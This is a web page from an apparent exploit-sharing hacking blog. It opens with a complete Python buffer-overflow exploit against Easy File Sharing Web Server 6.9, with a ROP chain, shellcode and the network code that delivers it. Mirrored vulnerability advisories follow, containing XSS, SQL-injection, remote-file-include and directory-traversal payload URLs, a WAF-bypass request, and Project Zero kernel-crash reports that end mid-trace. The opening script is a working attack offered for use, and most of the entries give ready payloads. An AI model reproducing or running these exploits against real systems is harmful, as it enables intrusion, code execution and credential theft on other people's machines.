#!/usr/bin/python
# Exploit Title: Easy File Sharing Web Server v6.9 - USERID Remote Buffer Overflow
# Version: 6.9
# Date: 2015-08-22
# Author: Tracy Turben (tracyturben@gmail.com)
# Software Link: http://www.efssoft.com/
# Tested on: Win7x32-EN,Win7x64-EN
# Special Thanks To: Julien Ahrens for the crafted jmp esp Trick ;)
# Credits for vulnerability discovery:
# superkojiman (http://www.exploit-db.com/exploits/33453/)
from struct import pack
import socket,sys
import os
host="192.168.1.15"
port=80
junk0 = "\x90" * 80
# 0x1001d89b : {pivot 604 / 0x25c} # POP EDI # POP ESI # POP EBP # POP EBX # ADD ESP,24C # RETN [ImageLoad.dll]
# The memory located at 0x1001D8F0: "\x7A\xD8\x01\x10" does the job!
# Due to call dword ptr [edx+28h]: 0x1001D8F0 - 28h = 0x1001D8C8
call_edx=pack('<L',0x1001D8C8)
junk1="\x90" * 396
ppr=pack('<L',0x10010101) # POP EBX # POP ECX # RETN [ImageLoad.dll]
# Since 0x00 would break the exploit 00520498 PUSH ESP needs to be crafted on the stack.
crafted_jmp_esp=pack('<L',0xA4523C15)
test_bl=pack('<L',0x10010125) # contains 00000000 to pass the JNZ instruction
kungfu=pack('<L',0x10022aac) # MOV EAX,EBX # POP ESI # POP EBX # RETN [ImageLoad.dll]
kungfu+=pack('<L',0xDEADBEEF) # filler
kungfu+=pack('<L',0xDEADBEEF) # filler
kungfu+=pack('<L',0x1001a187) # ADD EAX,5BFFC883 # RETN [ImageLoad.dll] # finish crafting JMP ESP
kungfu+=pack('<L',0x1002466d) # PUSH EAX # RETN [ImageLoad.dll]
nopsled="\x90" * 20
# windows/exec CMD=calc.exe
# Encoder: x86/shikata_ga_nai
# powered by Metasploit
# msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00\x0a\x0d'
shellcode=("\xda\xca\xbb\xfd\x11\xa3\xae\xd9\x74\x24\xf4\x5a\x31\xc9" +
"\xb1\x33\x31\x5a\x17\x83\xc2\x04\x03\xa7\x02\x41\x5b\xab" +
"\xcd\x0c\xa4\x53\x0e\x6f\x2c\xb6\x3f\xbd\x4a\xb3\x12\x71" +
"\x18\x91\x9e\xfa\x4c\x01\x14\x8e\x58\x26\x9d\x25\xbf\x09" +
"\x1e\x88\x7f\xc5\xdc\x8a\x03\x17\x31\x6d\x3d\xd8\x44\x6c" +
"\x7a\x04\xa6\x3c\xd3\x43\x15\xd1\x50\x11\xa6\xd0\xb6\x1e" +
"\x96\xaa\xb3\xe0\x63\x01\xbd\x30\xdb\x1e\xf5\xa8\x57\x78" +
"\x26\xc9\xb4\x9a\x1a\x80\xb1\x69\xe8\x13\x10\xa0\x11\x22" +
"\x5c\x6f\x2c\x8b\x51\x71\x68\x2b\x8a\x04\x82\x48\x37\x1f" +
"\x51\x33\xe3\xaa\x44\x93\x60\x0c\xad\x22\xa4\xcb\x26\x28" +
"\x01\x9f\x61\x2c\x94\x4c\x1a\x48\x1d\x73\xcd\xd9\x65\x50" +
"\xc9\x82\x3e\xf9\x48\x6e\x90\x06\x8a\xd6\x4d\xa3\xc0\xf4" +
"\x9a\xd5\x8a\x92\x5d\x57\xb1\xdb\x5e\x67\xba\x4b\x37\x56" +
"\x31\x04\x40\x67\x90\x61\xbe\x2d\xb9\xc3\x57\xe8\x2b\x56" +
"\x3a\x0b\x86\x94\x43\x88\x23\x64\xb0\x90\x41\x61\xfc\x16" +
"\xb9\x1b\x6d\xf3\xbd\x88\x8e\xd6\xdd\x4f\x1d\xba\x0f\xea" +
"\xa5\x59\x50")
payload=junk0 + call_edx + junk1 + ppr + crafted_jmp_esp + test_bl + kungfu + nopsled + shellcode
buf="GET /vfolder.ghp HTTP/1.1\r\n"
buf+="User-Agent: Mozilla/4.0\r\n"
buf+="Host:" + host + ":" + str(port) + "\r\n"
buf+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buf+="Accept-Language: en-us\r\n"
buf+="Accept-Encoding: gzip, deflate\r\n"
buf+="Referer: http://" + host + "/\r\n"
buf+="Cookie: SESSIONID=1337; UserID=" + payload + "; PassWD=;\r\n"
buf+="Conection: Keep-Alive\r\n\r\n"
print "[*] Connecting to Host " + host + "..."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
connect=s.connect((host, port))
print "[*] Connected to " + host + "!"
except:
print "[!] " + host + " didn't respond\n"
sys.exit(0)
print "[*] Sending malformed request..."
s.send(buf)
print "[!] Exploit has been sent!\n"
s.close()
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863147328
Contributors to this blog
-
16114
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
source: https://www.securityfocus.com/bid/56102/info
jCore is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker may exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
jCore 1.0pre and prior versions are vulnerable.
http://www.example.com/admin/?path=%27%20onmouseover%3dalert%28document.cookie%29%20%27
source: https://www.securityfocus.com/bid/56096/info
ModSecurity is prone to a security-bypass vulnerability because it fails to sufficiently sanitize user-supplied input.
Successful exploits can allow attackers to bypass filtering rules; this may aid in further attacks.
ModSecurity 2.6.8 is vulnerable; other versions may also be affected.
Proof of concept:
-----------------
wut.php:
--------
<? echo $POST[xxx] ?>
POST request:
-------------
POST /wut.php HTTP/1.1
Content-Type: multipart/form-data; boundary=A
Content-Length: 161
--A
Content-Disposition: form-data; name="xxx"[\r][\r][\n]
--A
Content-Disposition: form-data; name="yyy"; filename="z"
1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
--A--
Output:
-------
1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
(any change in the header should produce a 403)d
source: https://www.securityfocus.com/bid/56090/info
The Slideshow plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
http://www.example.com/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?randomId=";><script>alert(123);</script>
http://www.example.com/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?slides[0][type]=text&slides[0][title]=<script>alert(123);</script>
http://www.example.com/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?settings=<body+onload='alert(123)'>
http://www.example.com/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/settings.php?settings[][group]=<script>alert(123);</script>
http://www.example.com/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/settings.php?settings
http://www.example.com/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/style-settings.php?settings[0][3]=<script>alert(123);</script>
http://www.example.com/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/style-settings.php?settings[0]&inputFields[0]=<script>alert(123);</script>
source: https://www.securityfocus.com/bid/55946/info
LiteSpeed Web Server is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
LiteSpeed Web Server 4.1.11 and prior versions are vulnerable.
http://www.exxample.com/service/graph_html.php?gtitle=VHOSTa%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
source: https://www.securityfocus.com/bid/55919/info
The Crayon Syntax Highlighter plug-in for WordPress is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.
Exploiting these issues may allow a remote attacker to obtain sensitive information or to execute arbitrary script code in the context of the web server process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.
Crayon Syntax Highlighter 1.12.1 is vulnerable; other versions may also be affected.
http://www.example.com/wordpress/wp-content/plugins/crayon-syntax-highlighter/util/ajax.php?wp_load=ftp://192.168.80.201/wp-load.php
source: https://www.securityfocus.com/bid/55915/info
SilverStripe is prone to a URI-redirection vulnerability because the application fails to properly sanitize user-supplied input.
A successful exploit may aid in phishing attacks; other attacks are possible.
SilverStripe 2.4.7 and prior are vulnerable.
http://www.example.com/index.php/Security/login?BackURL=http://example1.com
source: https://www.securityfocus.com/bid/55908/info
vBSEO is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
vBSEO 3.8.7 is vulnerable; other versions may also be affected.
http://www.example.com/forums/member.php?tab=friends&u=11411%22%3E%3Cscript%3Ewindow.location%20=%20%22http://www.internot.info/forum/%22%20%3C/script%3E
http://www.example.com/forum/member.php?u=1%22%3E%3Cscript%3Ewindow.location%20=%20%22http://www.internot.info/forum/%22%20%3C/script%3E
source: https://www.securityfocus.com/bid/55904/info
WebTitan is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.
A remote attacker could exploit the vulnerability using directory-traversal characters ('../') to access arbitrary files containing sensitive information that could aid in further attacks.
WebTitan Versions prior to 3.60 are vulnerable.
http://www.example.com//logs-x.php? jaction=view&fname=../../../../../etc/passwd
source: https://www.securityfocus.com/bid/55893/info
CommonSense CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
http://www.example.com/article.php?id=5 [SQL Injection]
source: https://www.securityfocus.com/bid/55893/info
CommonSense CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
http://www.example.com/special.php?id=1 [SQL Injection]
Source: https://code.google.com/p/google-security-research/issues/detail?id=427&can=1
Mozilla Maintenance Service: Log File Overwrite Elevation of Privilege
Platform: Windows
Version: Mozilla Firefox 38.0.5
Class: Elevation of Privilege
Summary:
The maintenance service creates a log file in a user writable location. It’s possible to change the log file to a hardlink to another file to cause file corruption or elevation of privilege.
Description:
When the maintenance service starts it creates a log file under c:\programdata\mozilla\logs. This is done in maintenanceservice.cpp/SvcMain. This directory it creates the file in has fairly permissive permissions which allows a normal user to create new files underneath that directory. It’s possible to race the creation of the log file during the service initialization to drop a hardlink to an existing file on the same drive (which is probably the system drive) which when opened by the maintenance service running as local system will cause the file to be overwritten by the log data.
At the very least this would corrupt the target file, however as the user has some control over bits of the contents, such as the updater path, it’s possible to get some user controlled contents in there. This might be used to elevate privileges by overwriting a script file which has a permissive parser, such as powershell, batch or HTA which subsequently gets executed by a privileged process.
The only slight difficulty in exploitation is that the user cannot directly delete the log file to replace it with a hardlink. However this isn’t a significant issue as before opening the log file the service backs up the log to a new name leaving the directory entry for “maintenanceservice.log” free. Therefore there’s a race condition between the log file being moved out of the way and the new log file being created.
So to exploit this you perform the following operations:
1. Start a thread which creates a hard link in the log directory to the file you want to overwrite. Repeat until successful.
2. In another thread start the service passing the arbitrary content you want to insert as the path to the updater file
A similar vulnerability exists in the update.status handling, for example in WriteStatusFailure which will write update.status to any location you specify. You can use a hardlink to force the file to be overwritten. In this case this would only cause file corruption as the user has no real control on the contents.
If I could recommend fixes either make the logs directory writable only by administrators or use CopyFile instead of MoveFile when backing up the previous logs. I would not recommend trying to do anything like inspecting the file for hardlinks or similar.
Proof of Concept:
I’ve attached a proof of concept, it’s written in C#. You’ll need to compile it with the C# csc compiler. NOTE: you might need to run this on a multi-core machine to stand a chance of winning the race.
1) Compile the PoC
2) Execute the PoC passing the name of a file you want to overwrite on the command line
3) Program should run and print Done if successful
Expected Result:
The log file is created as normal
Observed Result:
The target file has been overwritten with the contents of the log file
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37925.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=431&can=1
The following crash was observed in Microsoft Office 2007 with Microsoft Office File Validation Add-In disabled and Application Verifier enabled for testing and reproduction. This bug also reproduced in Office 2010 running on Windows 7 x86.
The crash is caused by a 1 bit delta from the original file at offset 0xA9B0. Standard tools did not identify anything significant about this offset in the minimized file.
Attached files:
Fuzzed minimized PoC: 3423415565_min.doc
Fuzzed non-minimized PoC: 3423415565_crash.doc
Original non-fuzzed file: 3423415565_orig.doc
DLL Versions:
wwlib.dll: 12.0.6720.5000
msptls.dll: 12.0.6682.5000
Observed Crash:
eax=0000b69a ebx=0e370fb8 ecx=0e431ee8 edx=0e433fc0 esi=abcdbbbb edi=fffffffe
eip=6bdd9ddf esp=00129c58 ebp=00129c9c iopl=0 nv up ei pl nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010207
MSPTLS!LssbFIsSublineEmpty+0xa327:
6bdd9dc4 83e808 sub eax,8
6bdd9dc7 4f dec edi
6bdd9dc8 3930 cmp dword ptr [eax],esi
6bdd9dca 7ff8 jg MSPTLS!LssbFIsSublineEmpty+0xa30c (6bdd9dc4)
6bdd9dcc 897ddc mov dword ptr [ebp-24h],edi
6bdd9dcf 8bc7 mov eax,edi
6bdd9dd1 6bc01c imul eax,eax,1Ch
6bdd9dd4 03c8 add ecx,eax
6bdd9dd6 8b7118 mov esi,dword ptr [ecx+18h]
6bdd9dd9 8945d4 mov dword ptr [ebp-2Ch],eax
6bdd9ddc 8b04fa mov eax,dword ptr [edx+edi*8]
=> 6bdd9ddf 8b5670 mov edx,dword ptr [esi+70h] ds:0023:abcdbc2b=????????
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00129c9c 6bdda05b 02000000 00129cb0 0e370fa0 MSPTLS!LssbFIsSublineEmpty+0xa327
00129cb8 6bdd481c 0e370fb8 00129d04 00129d48 MSPTLS!LssbFIsSublineEmpty+0xa5a3
00129cf8 6bde528a 0019f4cd 0019f4cd 00000000 MSPTLS!LssbFIsSublineEmpty+0x4d64
00129d70 6bde54c2 0e186fa0 00129dc8 0012a038 MSPTLS!LssbFIsSublineEmpty+0x157d2
00129d98 6bddf354 02996ec0 00129f14 0e186fa0 MSPTLS!LssbFIsSublineEmpty+0x15a0a
00129f9c 6bdc4b85 02990320 000002d4 0019f4cd MSPTLS!LssbFIsSublineEmpty+0xf89c
00129fd0 312dbeea 02990320 000002d4 0019f4cd MSPTLS!LsCreateLine+0x23
0012a044 312dba15 02a33088 0ca8c9c0 000002d4 wwlib!FMain+0x97933
0012a0ac 312db45a 0af2cf30 0e811fe8 000002d4 wwlib!FMain+0x9745e
0012a19c 6be51b27 0af2cf30 0cb10fb0 01cccb78 wwlib!FMain+0x96ea3
0012a23c 6be6a137 00000000 0e811fe8 0ccccb78 MSPTLS!FsDestroyMemory+0x1ee4e
0012a310 6be6d6f8 00000000 00000033 00000000 MSPTLS!FsDestroyMemory+0x3745e
We can see that esi has an application verifier heap chunk canary value used at the start of allocated chuncks. Clearly we've indexed somewhere we shouldn't be. In this case we can see that esi came from [ecx+18h] and ecx was moved backwards in memory due to the negative value in edi. These pointers are used later on in the vulnerable function to write data leading to memory corruption.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37924.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=382&can=1
We have encountered a number of Windows kernel crashes in the ATMFD.DLL OpenType driver while processing corrupted OTF font files, such as:
---
DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6)
N bytes of memory was allocated and more than N bytes are being referenced.
This cannot be protected by try-except.
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: ffb4da9f, memory referenced
Arg2: 00000000, value 0 = read operation, 1 = write operation
Arg3: 92a7a902, if non-zero, the address which referenced memory.
Arg4: 00000000, (reserved)
Debugging Details:
------------------
READ_ADDRESS: ffb4da9f Special pool
FAULTING_IP:
ATMFD+2a902
92a7a902 0fb600 movzx eax,byte ptr [eax]
MM_INTERNAL_CODE: 0
IMAGE_NAME: ATMFD.DLL
DEBUG_FLR_IMAGE_TIMESTAMP: 54e6a55a
MODULE_NAME: ATMFD
FAULTING_MODULE: 92a50000 ATMFD
DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT
BUGCHECK_STR: 0xD6
PROCESS_NAME: csrss.exe
CURRENT_IRQL: 2
ANALYSIS_VERSION: 6.3.9600.17237 (debuggers(dbg).140716-0327) x86fre
TRAP_FRAME: 945bcd54 -- (.trap 0xffffffff945bcd54)
ErrCode = 00000000
eax=ffb4da9f ebx=945bd0ec ecx=ffb4da9f edx=ffb4dea8 esi=945bd2fc edi=00002932
eip=92a7a902 esp=945bcdc8 ebp=945bd4c0 iopl=0 nv up ei pl nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202
ATMFD+0x2a902:
92a7a902 0fb600 movzx eax,byte ptr [eax] ds:0023:ffb4da9f=??
Resetting default scope
LAST_CONTROL_TRANSFER: from 82723ce7 to 826bf2d8
STACK_TEXT:
945bc8a4 82723ce7 00000003 46aca596 00000065 nt!RtlpBreakWithStatusInstruction
945bc8f4 827247e5 00000003 00000000 00000002 nt!KiBugCheckDebugBreak+0x1c
945bccb8 826d2391 00000050 ffb4da9f 00000000 nt!KeBugCheck2+0x68b
945bcd3c 82684c48 00000000 ffb4da9f 00000000 nt!MmAccessFault+0x104
945bcd3c 92a7a902 00000000 ffb4da9f 00000000 nt!KiTrap0E+0xdc
WARNING: Stack unwind information not available. Following frames may be wrong.
945bd4c0 92a7f6e0 fab90c70 92a8f028 945bd70c ATMFD+0x2a902
945bd57c 92a727ae fab90c70 92a8f028 945bd70c ATMFD+0x2f6e0
945bd668 92a72858 fab90c70 945bd70c 945bd790 ATMFD+0x227ae
945bd694 92a632b2 fab90c70 92a8f028 945bd70c ATMFD+0x22858
945bd7f8 92a63689 0000000b 945bd918 fb64c8b0 ATMFD+0x132b2
945bd84c 92a5406d 0000000b 945bd918 fb64c8b0 ATMFD+0x13689
945bd8a0 92badcf2 ff7a5010 fa4f4cf0 00000001 ATMFD+0x406d
945bd8e8 92bb3784 ff7a5010 fa4f4cf0 00000001 win32k!PDEVOBJ::QueryFontData+0x3e
945bd960 92c2bdcd 945bdc3c fb665704 fb64c8b0 win32k!xInsertMetricsPlusRFONTOBJ+0x120
945bd990 92ba5964 00000003 ff7bf020 945bdcd4 win32k!RFONTOBJ::bGetGlyphMetricsPlus+0x179
945bd9c8 92c2b8cb 945bdc1c 945bdc3c 00000008 win32k!ESTROBJ::vCharPos_H3+0xf0
945bda0c 92ba55e7 945bdcd0 00000003 945bdc1c win32k!ESTROBJ::vInit+0x268
945bdc2c 92ba57aa 00000000 945bdcd0 fa4f4cf0 win32k!GreGetTextExtentExW+0x12a
945bdd0c 82681a66 20010483 00b20b1c 00000003 win32k!NtGdiGetTextExtentExW+0x141
945bdd0c 773c70f4 20010483 00b20b1c 00000003 nt!KiSystemServicePostCall
0031f6d4 00000000 00000000 00000000 00000000 ntdll!KiFastSystemCallRet
---
The memory read instruction causing the crash is responsible for fetching the next CharString instruction from the input stream, in order to execute it as part of the PostScript state machine. This bug is similar to issue 174 , which described the lack of the instruction pointer's bounds checking in the interpreter function, making it possible to crash the operating system or potentially disclose chunks of kernel-mode memory. While that problem was fixed in bulletin MS15-021 by introducing the missing bound checks, out-of-bounds access to the instruction stream is still possible as shown in the above crash log. The exact root cause of the vulnerability is unknown.
The issue reproduces on Windows 7. It is easiest to reproduce with Special Pools enabled for ATMFD.DLL (leading to an immediate crash when the bug is triggered), but it might also possible to observe a crash on a default Windows installation, depending on the specific testcase used.
Attached is an archive with two proof of concept font files together with corresponding kernel crash logs.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37923.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=383&can=1
We have encountered a Windows kernel crash in the ATMFD.DLL OpenType driver while processing a corrupted OTF font file:
---
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: ff67a024, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: 98b54072, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)
Debugging Details:
------------------
*** ERROR: Module load completed but symbols could not be loaded for ATMFD.DLL
READ_ADDRESS: ff67a024 Paged session pool
FAULTING_IP:
ATMFD+34072
98b54072 8b700c mov esi,dword ptr [eax+0Ch]
MM_INTERNAL_CODE: 0
IMAGE_NAME: ATMFD.DLL
DEBUG_FLR_IMAGE_TIMESTAMP: 54e6a55a
MODULE_NAME: ATMFD
FAULTING_MODULE: 98b20000 ATMFD
DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT
BUGCHECK_STR: 0x50
PROCESS_NAME: csrss.exe
CURRENT_IRQL: 2
ANALYSIS_VERSION: 6.3.9600.17237 (debuggers(dbg).140716-0327) x86fre
TRAP_FRAME: 9d793d9c -- (.trap 0xffffffff9d793d9c)
ErrCode = 00000000
eax=ff67a018 ebx=fbea4830 ecx=00000000 edx=00000000 esi=fbffe7c0 edi=fbffe7c0
eip=98b54072 esp=9d793e10 ebp=9d793e38 iopl=0 nv up ei pl nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202
ATMFD+0x34072:
98b54072 8b700c mov esi,dword ptr [eax+0Ch] ds:0023:ff67a024=????????
Resetting default scope
LAST_CONTROL_TRANSFER: from 82714ce7 to 826b02d8
STACK_TEXT:
9d7938ec 82714ce7 00000003 8d6243ee 00000065 nt!RtlpBreakWithStatusInstruction
9d79393c 827157e5 00000003 00000000 00002522 nt!KiBugCheckDebugBreak+0x1c
9d793d00 826c3391 00000050 ff67a024 00000000 nt!KeBugCheck2+0x68b
9d793d84 82675c48 00000000 ff67a024 00000000 nt!MmAccessFault+0x104
9d793d84 98b54072 00000000 ff67a024 00000000 nt!KiTrap0E+0xdc
WARNING: Stack unwind information not available. Following frames may be wrong.
9d793e38 98b4d5b5 fbffe7c0 fbea4830 00000f5c ATMFD+0x34072
9d794544 98b4f6e0 fbbfac70 98b5f028 9d794790 ATMFD+0x2d5b5
9d794600 98b427ae fbbfac70 98b5f028 9d794790 ATMFD+0x2f6e0
9d7946ec 98b42858 fbbfac70 9d794790 9d794814 ATMFD+0x227ae
9d794718 98b332b2 fbbfac70 98b5f028 9d794790 ATMFD+0x22858
9d79487c 98b33689 0000000b 9d79499c fad3ef00 ATMFD+0x132b2
9d7948d0 98b2406d 0000000b 9d79499c 00000000 ATMFD+0x13689
9d794924 9888dcf2 ff7a5010 fad30cf0 00000001 ATMFD+0x406d
9d79496c 988767cb ff7a5010 fad30cf0 00000001 win32k!PDEVOBJ::QueryFontData+0x3e
9d7949e0 988a1513 ffa6a130 fb23bd40 0000134b win32k!xInsertMetricsRFONTOBJ+0x9c
9d794a14 988a35f5 00000020 9d794aec 9d794c8a win32k!RFONTOBJ::bGetGlyphMetrics+0x131
9d794cb8 988b6684 0c010385 00001360 00000040 win32k!GreGetCharABCWidthsW+0x147
9d794d14 82672a66 0c010385 00001340 00000040 win32k!NtGdiGetCharABCWidthsW+0xf8
9d794d14 772b70f4 0c010385 00001340 00000040 nt!KiSystemServicePostCall
0017ed34 00000000 00000000 00000000 00000000 ntdll!KiFastSystemCallRet
---
The crash represents a read from invalid memory; prior to being dereferenced as an address, the EAX register is loaded with a value from ESI+0x34 (on 32-bit Windows), which points into an "Adbe" pool allocation:
---
kd> !pool fbffe7c0
Pool page fbffe7c0 region is Special pool
Address fbffe000 does not belong to any pool
*fbffe000 size: 898 data: fbffe768 (Paged session) *Adbe
Pooltag Adbe : Adobe's font driver
---
The crash is always caused by an attempt to access memory at a constant offset past the memory page boundary (0x24 on 32-bit platforms), and the surrounding code is a loop over a linked list of structures. The EAX register at the time of the crash holds a [F/B]link address which points to unmapped memory, potentially suggesting that the root cause of the crash is a use-after-free condition, or some kind of corruption of the linked list. Since the invalid address is later used to manipulate memory, we expect that this issue could be used to achieve remote code execution in the security context of the Windows kernel.
The issue reproduces on Windows 7 and 8.1. It is easiest to reproduce with Special Pools enabled for ATMFD.DLL (leading to an immediate crash when the bug is triggered), but it should also be possible to observe a crash on a default Windows installation in ATMFD.DLL.
Attached is an archive with a proof of concept font file together with a corresponding kernel crash log.
------------------------------------------------------------------------------------------------------------------------------------------
We have also encountered a number of crashes where the read operation discussed above succeeds (moving the contents of [eax+0Ch] to esi), and a respective attempt to access the [esi+34h] address fails a few instructions later; for example:
---
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: fffb8034, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: 9486407b, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)
Debugging Details:
------------------
Could not read faulting driver name
READ_ADDRESS: GetPointerFromAddress: unable to read from 8278184c
Unable to read MiSystemVaType memory at 82760f00
fffb8034
FAULTING_IP:
ATMFD+3407b
9486407b 394e34 cmp dword ptr [esi+34h],ecx
MM_INTERNAL_CODE: 0
DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT
BUGCHECK_STR: 0x50
PROCESS_NAME: csrss.exe
CURRENT_IRQL: 0
LAST_CONTROL_TRANSFER: from 9485d5b5 to 9486407b
STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
879d7e38 9485d5b5 fba78880 fbbb6830 00000f5c ATMFD+0x3407b
879d8544 9485f6e0 fbad2c70 9486f028 879d8790 ATMFD+0x2d5b5
879d8600 948527ae fbad2c70 9486f028 879d8790 ATMFD+0x2f6e0
879d86ec 94852858 fbad2c70 879d8790 879d8814 ATMFD+0x227ae
879d8718 948432b2 fbad2c70 9486f028 879d8790 ATMFD+0x22858
879d887c 94843689 00000002 879d899c fbafaf58 ATMFD+0x132b2
879d88d0 9483406d 00000002 879d899c 00000000 ATMFD+0x13689
879d8924 9499dce2 ff7af010 fc01acf0 00000001 ATMFD+0x406d
879d896c 949867bb ff7af010 fc01acf0 00000001 win32k!PDEVOBJ::QueryFontData+0x3e
879d89e0 949b14d7 ffa66130 ff646084 0000201c win32k!xInsertMetricsRFONTOBJ+0x9c
879d8a14 949b35b9 00000020 879d8bfc 879d8cac win32k!RFONTOBJ::bGetGlyphMetrics+0x131
879d8cb8 949c6644 10010188 00002020 00000040 win32k!GreGetCharABCWidthsW+0x147
879d8d14 82654896 10010188 00002000 00000040 win32k!NtGdiGetCharABCWidthsW+0xf8
879d8d14 776f70f4 10010188 00002000 00000040 nt!KiSystemServicePostCall
001bf3e4 00000000 00000000 00000000 00000000 0x776f70f4
---
Attached are further three samples together with corresponding crash log files, which reproduce the issue at the ATMFD+0x3407b location.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37922.zip
Source: https://code.google.com/p/google-security-research/issues/detail?id=384&can=1
We have encountered a number of Windows kernel crashes in the ATMFD.DLL OpenType driver while processing corrupted OTF font files, such as:
---
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: fff82008, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: 91a3440b, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)
Debugging Details:
------------------
*** ERROR: Module load completed but symbols could not be loaded for ATMFD.DLL
READ_ADDRESS: fff82008
FAULTING_IP:
ATMFD+3440b
91a3440b 8b7e08 mov edi,dword ptr [esi+8]
MM_INTERNAL_CODE: 0
IMAGE_NAME: ATMFD.DLL
DEBUG_FLR_IMAGE_TIMESTAMP: 54e6a55a
MODULE_NAME: ATMFD
FAULTING_MODULE: 91a00000 ATMFD
DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT
BUGCHECK_STR: 0x50
PROCESS_NAME: csrss.exe
CURRENT_IRQL: 2
ANALYSIS_VERSION: 6.3.9600.17237 (debuggers(dbg).140716-0327) x86fre
TRAP_FRAME: 97ff8d54 -- (.trap 0xffffffff97ff8d54)
ErrCode = 00000000
eax=ff677018 ebx=00000001 ecx=00000001 edx=0000000b esi=fff82000 edi=fb63e940
eip=91a3440b esp=97ff8dc8 ebp=97ff8de8 iopl=0 nv up ei ng nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286
ATMFD+0x3440b:
91a3440b 8b7e08 mov edi,dword ptr [esi+8] ds:0023:fff82008=????????
Resetting default scope
LAST_CONTROL_TRANSFER: from 82724ce7 to 826c02d8
STACK_TEXT:
97ff88a4 82724ce7 00000003 4b979438 00000065 nt!RtlpBreakWithStatusInstruction
97ff88f4 827257e5 00000003 00000000 00000000 nt!KiBugCheckDebugBreak+0x1c
97ff8cb8 826d3391 00000050 fff82008 00000000 nt!KeBugCheck2+0x68b
97ff8d3c 82685c48 00000000 fff82008 00000000 nt!MmAccessFault+0x104
